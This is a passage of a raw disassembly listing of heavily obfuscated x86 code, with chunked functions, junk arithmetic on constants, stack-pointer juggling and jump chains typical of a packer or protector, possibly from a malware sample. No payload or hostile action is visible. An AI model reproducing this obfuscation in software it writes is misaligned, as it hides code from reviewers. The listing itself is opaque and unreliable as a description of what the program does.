dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 00599BEA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059A809 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059B652 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059CA61 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059CB27 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059CF37 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0059D008 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059D4F7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059D73E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059DDD0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059DF85 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059E067 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059E1D3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059EBDC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059EC70 SIZE 00000052 BYTES ; FUNCTION CHUNK AT 0059F9CF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A0024 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A05A1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A05C5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A08D3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A1270 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A1A86 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A30B1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A329D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A3C3F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A52FF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A58B4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A5E6C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A6192 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A743B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A772A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A7C5A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A8C77 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A8F3D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A9476 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9746 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A988C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AA294 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005AACEA SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AB374 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AB790 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AC31B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AC3A6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AC490 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AC54C SIZE 0000003E BYTES ; FUNCTION CHUNK AT 005AC999 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005ACFF9 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AD022 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005ADE74 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005ADEFA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AE7AD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AF139 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AFA50 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AFC4C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AFCC1 SIZE 00000026 BYTES push ebx jmp loc_5A58B4 sub_59CBE1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A809B loc_59CBE7: ; CODE XREF: sub_5A809B-7EC8j push eax mov eax, 509C0374h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+0] mov esp, [esp+0] mov [esp+0], edx mov edx, 368D731Bh sub edx, 0E5F16FABh sub esp, 4 mov [esp+0], edi mov edi, edx mov ebx, edi pop edi pop edx jmp loc_5994F7 ; END OF FUNCTION CHUNK FOR sub_5A809B ; =============== S U B R O U T I N E ======================================= sub_59CC21 proc near ; CODE XREF: sub_5A7BA0-141Aj var_8 = dword ptr -8 sub esp, 4 push esp pop [esp+8+var_8] jmp loc_5A8C50 sub_59CC21 endp ; =============== S U B R O U T I N E ======================================= sub_59CC30 proc near ; CODE XREF: sub_5A6649+18j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005A6C63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AF5BB SIZE 0000002F BYTES sub esp, 4 jmp loc_5AF5BB sub_59CC30 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CC3B: ; CODE XREF: sub_5AA2D1:loc_5A5E15j ; sdfs____:005A6466j ... mov ebp, 30AD31B7h jmp loc_5A0E23 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_59CC45: ; CODE XREF: sub_5A86D0+3961j add eax, 2FE07126h add eax, ebx sub eax, 2FE07126h sub esp, 4 mov [esp+4+var_4], ecx jmp sub_59D5EA ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7746 loc_59CC5F: ; CODE XREF: sub_5A7746+4B0j pop ebx push [esp-4+arg_0] pop ecx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp and eax, ebx push [esp-4+arg_0] pop ebx jmp loc_5A23D8 ; END OF FUNCTION CHUNK FOR sub_5A7746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59CC7F: ; CODE XREF: sub_5A5EFF+1B27j ; sub_5A94C4+10j mov ebp, esp jmp sub_59BE17 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_59CC86: ; CODE XREF: sub_5AF2D9-1F40j push eax mov eax, 3B421345h and ebp, eax push [esp+0Ch+var_C] pop eax jmp loc_5AA01E ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAAD5 loc_59CC97: ; CODE XREF: sub_5AAAD5+12j pop esp push ebx push esp pop ebx jmp loc_5A7A70 ; END OF FUNCTION CHUNK FOR sub_5AAAD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59CCA0: ; CODE XREF: sub_5992DA+E996j mov [esp+30h+var_32+2], ebx push [esp+30h+var_32+2] jmp loc_5ACA77 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59CCAB: ; CODE XREF: sub_5A0AA2:loc_5A637Fj sub ch, 36h add ch, 0B0h push ebx jmp loc_5AA932 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- loc_59CCB7: ; CODE XREF: sdfs____:005A6B0Aj push ecx mov ecx, 895FEBEEh jmp loc_59BD01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59CCC2: ; CODE XREF: sub_59A9E9+79Dj sub edx, 4A2C3042h jmp loc_5ABFAD ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7508 loc_59CCCD: ; CODE XREF: sub_5A7508+1341j sub edi, 0FB368CE3h sub edi, 238F3AA4h jmp loc_5AB38E ; END OF FUNCTION CHUNK FOR sub_5A7508 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_59CCDE: ; CODE XREF: sub_5AD84A+7j neg ebx jmp loc_5A145C ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CCE5: ; CODE XREF: sub_5AA2D1+5EA4j sub eax, 730E28E9h sub eax, 1CEA0BD7h jz loc_5A8682 sub eax, 6883A818h mov esi, eax jmp loc_5A5CBF ; --------------------------------------------------------------------------- loc_59CD01: ; CODE XREF: sub_5AA2D1-7DC9j mov ch, al mov bh, ch pop ecx not bh mov al, bh mov ebx, [esp-4+arg_0] jmp loc_5A881F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59CD12: ; CODE XREF: sdfs____:0059E491j add edx, 74E047AAh jmp loc_59E4E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CD1D: ; CODE XREF: sub_5AA2D1-D95Dj sub eax, edi pop edi pop ecx jmp loc_5B0021 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59CD26 proc near ; DATA XREF: sdfs____:00599058o push ebp jmp loc_5A0F79 sub_59CD26 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59CD2C: ; CODE XREF: sub_59C979+C8A9j add cl, 15h add cl, 4Ah sub cl, al sub cl, 4Ah sub cl, 15h pop eax xor bh, cl pop cx push eax mov ah, bh mov dh, ah pop eax jmp loc_59EE82 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59CD4A: ; CODE XREF: sub_5A0AA2-2307j jp loc_59D489 dec ebx jg sub_59E333 jmp loc_5AD629 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CD5C: ; CODE XREF: sub_5AA2D1+4843j add edi, ecx jmp loc_59DA57 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59CD63: ; CODE XREF: sub_59C979+10C96j sub al, 14h add al, dh add al, 14h pop edx sub al, dh jmp loc_59DC2D ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CD71: ; CODE XREF: sub_5AA2D1-1830j shl ax, 4 sub ax, 110Ch push esi push eax mov ax, 4811h mov si, ax pop eax jmp loc_5A3A47 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_59CD88: ; CODE XREF: sub_5AC803-3D24j xor bh, 32h shl bh, 2 shr bh, 4 push ecx mov ch, 0F9h sub bh, ch pop ecx and bh, 0B4h sub bh, 0CEh sub ch, bh jmp loc_5AFF3B ; END OF FUNCTION CHUNK FOR sub_5AC803 ; =============== S U B R O U T I N E ======================================= sub_59CDA4 proc near ; DATA XREF: sdfs____:00598EACo push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp+0], cl pushf jmp loc_5A27A7 sub_59CDA4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F2D1 loc_59CDB4: ; CODE XREF: sub_59F2D1+B7C4j add ebp, edx jmp loc_5A16C1 ; END OF FUNCTION CHUNK FOR sub_59F2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_59CDBB: ; CODE XREF: sub_5ADD33-D7D1j push esp mov edx, [esp+8+var_8] add esp, 4 push eax mov eax, 6D062A30h jmp loc_59C8AF ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAE5E loc_59CDCD: ; CODE XREF: sub_5AAE5E-D36Bj pop esp jmp loc_5AD746 ; END OF FUNCTION CHUNK FOR sub_5AAE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59CDD3: ; CODE XREF: sub_59C979+A7BDj xor dx, word ptr [esp-0Ah+arg_6] xor word ptr [esp-0Ah+arg_6], dx xor dx, bp jmp loc_5A6859 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- loc_59CDE3: ; CODE XREF: sdfs____:0059CEE5j mov edi, 66672230h mov esi, edi pop edi push ebp jmp loc_5AA521 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_59CDF1: ; CODE XREF: sub_599A61+14C6Ej js loc_5AE3C7 push ecx push ebp mov ebp, 6B4931F1h jmp sub_5AB2EA ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- mov al, 6Bh ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_59CE05: ; CODE XREF: sub_5AB207-8A02j sub ecx, 37CA0905h pop edi mov ebp, ecx jmp loc_5B03F6 ; END OF FUNCTION CHUNK FOR sub_5AB207 ; =============== S U B R O U T I N E ======================================= sub_59CE13 proc near ; DATA XREF: sdfs____:0059904Co var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D065 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059D3EA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A080C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A32AC SIZE 00000012 BYTES push dword ptr [esp+0] pop eax push edx push esp pop edx add edx, 4 push esi mov esi, 4 sub edx, esi mov esi, [esp+8+var_8] add esp, 4 xchg edx, [esp+4+var_4] pop esp mov [esp+0], ecx mov ecx, esp add ecx, 4 jmp loc_59D3EA sub_59CE13 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3261 loc_59CE45: ; CODE XREF: sub_5A3261+Dj mov ecx, [esp+8+var_8] push esi mov esi, esp jmp loc_599F95 ; END OF FUNCTION CHUNK FOR sub_5A3261 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59CE50: ; CODE XREF: sub_59D6B8-30FBj mov esp, [esp+0Ch+var_C] jmp loc_59F226 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_59CE58: ; CODE XREF: sub_5A8215+1j mov ebx, 0A2F21D2h add ebp, ebx mov ebx, [esp+4+var_4] add esp, 4 shl ebp, 1 push esi mov esi, 0A66077Ch jmp loc_59A2D5 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_59CE75: ; CODE XREF: sub_5A913B-4601j xchg ch, al jmp loc_5A230D ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59CE7C: ; CODE XREF: sub_59D6B8+8E01j mov edi, [esp+0Ch+var_C] add esp, 4 add ecx, 2 xchg ecx, [esp+8+var_8] jmp loc_5A3EC6 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_59CE93: ; CODE XREF: sub_5A600D-7B8Fj add esp, 4 xor cl, 9Ch shr cl, 6 sub esp, 2 mov word ptr [esp+4+var_4], cx not byte ptr [esp+4+var_4] pop cx jmp loc_599303 ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- loc_59CEAD: ; CODE XREF: sdfs____:005A20EFj mov esi, esp jmp loc_5AE907 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59CEB4: ; CODE XREF: sub_5A0AA2-6CBCj push [esp+4+var_4] pop ebp add esp, 4 add esp, 4 push ecx mov ecx, 400C68EBh inc ecx shr ecx, 3 push edx push eax mov eax, 72B51DC9h sub eax, 6BB200E4h sub eax, 8F3002BBh mov edx, eax mov eax, [esp+8+var_8] jmp loc_5AB66E ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- loc_59CEE3: ; CODE XREF: sdfs____:0059BC71j push esi push edi jmp loc_59CDE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59CEEA: ; CODE XREF: sub_59D6B8+CDFCj push [esp+8+var_8] pop ecx add esp, 4 add edi, 71DF3A8Dh add edi, ebx sub edi, 71DF3A8Dh mov ebx, [esp+4+var_4] add esp, 4 jmp loc_59FE3C ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_59CF0A: ; CODE XREF: sub_5A9B1D-92CDj sub eax, 50C6FC6Bh add ebx, eax pop eax sub ebx, esi sub ebx, 26B87173h pop esi xchg ebx, [esp-8+arg_4] mov esp, [esp-8+arg_4] mov [esp-8+arg_4], edx jmp sub_5AE29C ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CF29: ; CODE XREF: sub_5AA2D1+D31j shr ecx, 0Bh push esi push 1D61h jmp loc_5AABA1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59CF37: ; CODE XREF: sub_59CBE1+10419j inc eax sub eax, 2C7B0B59h jp loc_5A743B sub eax, 0B3634CAh jo loc_5A05A1 sub esp, 4 pop eax loc_59CF52: ; CODE XREF: sub_5A0FFF+B1AEj push esi mov esi, 4 add edx, esi jmp loc_5AC999 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59CF5F: ; CODE XREF: sub_5A580F-6B25j add [esp+4], ecx pop ecx add dword ptr [esp+0], 60BA37BAh add [esp+0], eax jmp loc_5AE166 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_59CF73: ; CODE XREF: sub_5AC803-2251j inc esi jo loc_5A8FEC add esi, 294257EAh dec esi inc esi jz loc_5AEB19 shl esi, 6 dec esi add esi, 8DEE6BAEh mov edx, esi mov esi, [esp-4+arg_0] add esp, 4 jmp loc_5AFD69 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59CFA2: ; CODE XREF: sub_5AA2D1-E541j push 246F4AB6h jmp loc_599353 ; --------------------------------------------------------------------------- loc_59CFAC: ; CODE XREF: sub_5AA2D1-D1C7j pop ebp sub ebp, 31BB4122h jmp loc_59D307 ; --------------------------------------------------------------------------- loc_59CFB8: ; CODE XREF: sub_5AA2D1-D9BEj mov esp, [esp+4+var_4] and [esp+4+var_4], eax pushf jmp loc_59910F ; --------------------------------------------------------------------------- loc_59CFC4: ; CODE XREF: sub_5AA2D1-F8D7j add eax, esi jmp loc_5AB52F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE72D loc_59CFCB: ; CODE XREF: sub_5AE72D-4FBj sub edx, 4 xchg edx, [esp+0] pop esp push 29B9h jmp loc_5ABA1E ; END OF FUNCTION CHUNK FOR sub_5AE72D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_59CFDF: ; CODE XREF: sub_5AB5A9-2C7Dj xor [esp+4+var_4], ecx xor ecx, [esp+4+var_4] pop esp push eax push esi mov esi, 7F141AADh mov eax, esi jmp loc_59D87B ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59CFF4: ; CODE XREF: sub_59C979+5FEBj mov [esp-0Ah+arg_6], ebp push 7E27355Ah pop ebp jmp sub_5A9EBF ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59D002: ; CODE XREF: sub_5B01F7-9BD6j pop ebp jmp loc_5AB127 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59D008: ; CODE XREF: sub_59CBE1+1498j ; sub_5A477C+2818j push 24BBh mov [esp-8+arg_4], ebx push 575Ah mov [esp-4+arg_0], esp add [esp-4+arg_0], 4 pop ebx jmp loc_5A9476 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59D022: ; CODE XREF: sub_59D6B8+D25Aj xor esi, [esp+0] jmp loc_59A5B7 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A577C loc_59D02A: ; CODE XREF: sub_5A577C+8168j add edi, 4 xchg edi, [esp+8+var_8] pop esp push 49C7h mov [esp+8+var_8], eax mov eax, esp push 28F1h jmp loc_5AC521 ; END OF FUNCTION CHUNK FOR sub_5A577C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_59D045: ; CODE XREF: sub_5AC803-135E6j push eax mov al, 16h jmp loc_5AB339 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_59D04D: ; CODE XREF: sdfs____:0059C7FEj ; sub_5A21A4+6F7Bj xchg esi, [esp-4+arg_0] mov esp, [esp-4+arg_0] pop [esp-4+arg_0] mov esp, [esp-8+arg_4] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D05E: ; CODE XREF: sub_5AA2D1-C410j push esp pop ebp jmp loc_5AE103 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CE13 loc_59D065: ; CODE XREF: sub_59CE13+3A05j sub ecx, 4171B34h add ecx, esi push ebx jmp sub_599E21 ; END OF FUNCTION CHUNK FOR sub_59CE13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D073: ; CODE XREF: sub_5AA2D1-EE36j add esp, 4 add edx, 4 xchg edx, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] pop ecx push eax push ecx push 3CA53055h pop ecx add ecx, 613B0E1Fh jns loc_599AB3 sub ecx, 7F7C14F9h mov eax, ecx pop ecx sub ecx, eax mov eax, [esp+2+var_4+2] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp+6+var_8+2] jmp loc_59EFA7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_59D0BF: ; CODE XREF: sub_5AFA26-117C9j sub edi, ecx pop ecx jmp loc_59E40A ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D0C7: ; CODE XREF: sub_5AA2D1+29C0j ; sub_5AF2DF-14BCj xchg edi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] mov ax, word ptr [esp+6+var_8+2] push eax mov eax, esp push ecx mov ecx, 0AEF7BF4h push ebx push ebp mov ebp, 65A4146Ch and ebp, 7945133Bh push eax mov eax, 58D84B8Ah xor ebp, eax jmp loc_5AAD3D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4B1 loc_59D0F4: ; CODE XREF: sub_59B4B1+D38Dj sub ebp, ebx pop ebx xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], edx mov dh, 7Ah jmp loc_59FE17 ; END OF FUNCTION CHUNK FOR sub_59B4B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D105: ; CODE XREF: sub_5AA2D1-15E7j add [esp+4], edx pop edx jmp loc_59CFAC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D9AA loc_59D10F: ; CODE XREF: sub_59D9AA+3j mov [esp+4+var_4], ebp jmp loc_5ADFA1 ; END OF FUNCTION CHUNK FOR sub_59D9AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_59D117: ; CODE XREF: sub_5A4D9D-B133j mov ebx, esp push edx mov edx, 9572AECh or edx, 160A7175h jmp loc_5ACEC1 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD81 loc_59D12A: ; CODE XREF: sub_5ADD81+27j xor di, 30A3h jmp loc_5AB890 ; END OF FUNCTION CHUNK FOR sub_5ADD81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D134: ; CODE XREF: sub_5AA2D1-1DD5j add esi, edi pop edi push 105Ch mov [esp+0], edi mov edi, 39CA06F9h xor edi, 39CA06FDh jmp loc_5ABFCD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFD37 loc_59D14F: ; CODE XREF: sub_5AFD37-12494j dec ebx jo loc_5A464C neg ebx jmp loc_5AAAF1 ; END OF FUNCTION CHUNK FOR sub_5AFD37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF46F loc_59D15D: ; CODE XREF: sub_5AF46F+2Bj mov [esp+0], ebx mov ebx, 2 add eax, (offset loc_5A76C9+3) add eax, 2FBC5813h add eax, ebx sub eax, 2FBC5813h sub eax, (offset loc_5A76C9+3) mov ebx, [esp+0] add esp, 4 push ebx jmp loc_59E5A7 ; END OF FUNCTION CHUNK FOR sub_5AF46F ; =============== S U B R O U T I N E ======================================= sub_59D18A proc near ; DATA XREF: sdfs____:00598FA4o var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059F8D3 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A1EF1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A25B9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A2D9D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A40BB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A4CC5 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A699F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A8C82 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A9049 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005AEF54 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AFABD SIZE 00000009 BYTES push 69E7h push esp pop [esp+8+var_8] push eax push 4 jmp loc_5A1EF1 sub_59D18A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59D19E: ; CODE XREF: sub_5992DA+33C4j push esi mov esi, 145252ADh add esi, 5D8A20A4h or esi, 3C4F04CAh add esi, 0F852DC7h add esi, 259D3919h add eax, esi pop esi sub edx, eax pop eax push [esp+28h+var_2A+2] pop ebp add esp, 4 jmp loc_5A62F9 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59D1D1: ; CODE XREF: sub_5A580F+9087j not ecx and ecx, 6E9D2CABh sub ecx, 6E902004h add eax, ecx mov ecx, [esp+0] add esp, 4 push ecx mov ecx, 543F765Fh jmp loc_5A02B5 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_59D1F5: ; CODE XREF: sub_5AD243-2B98j mov [esp-0Ch+arg_8], esp push 59DBh mov [esp-8+arg_4], ebp mov ebp, 4 add [esp-8+arg_8], ebp pop ebp push [esp-0Ch+arg_8] pop edi add esp, 4 jmp sub_59F18C ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D216: ; CODE XREF: sub_5A600D-1896j ; sub_5AA2D1-5632j pop edx add al, cl pop ecx push 3079h mov [esp+12h+var_14+2], edx mov dh, 0A1h push ax push ecx mov ch, 88h sub esp, 4 mov [esp+0], ebx jmp loc_5AEA1D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59D237: ; CODE XREF: sub_5A2E28+AB29j mov eax, [esp-0Ch+arg_8] add esp, 4 add ebp, 4 xchg ebp, [esp-10h+arg_C] pop esp imul ecx, eax push ecx pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D254: ; CODE 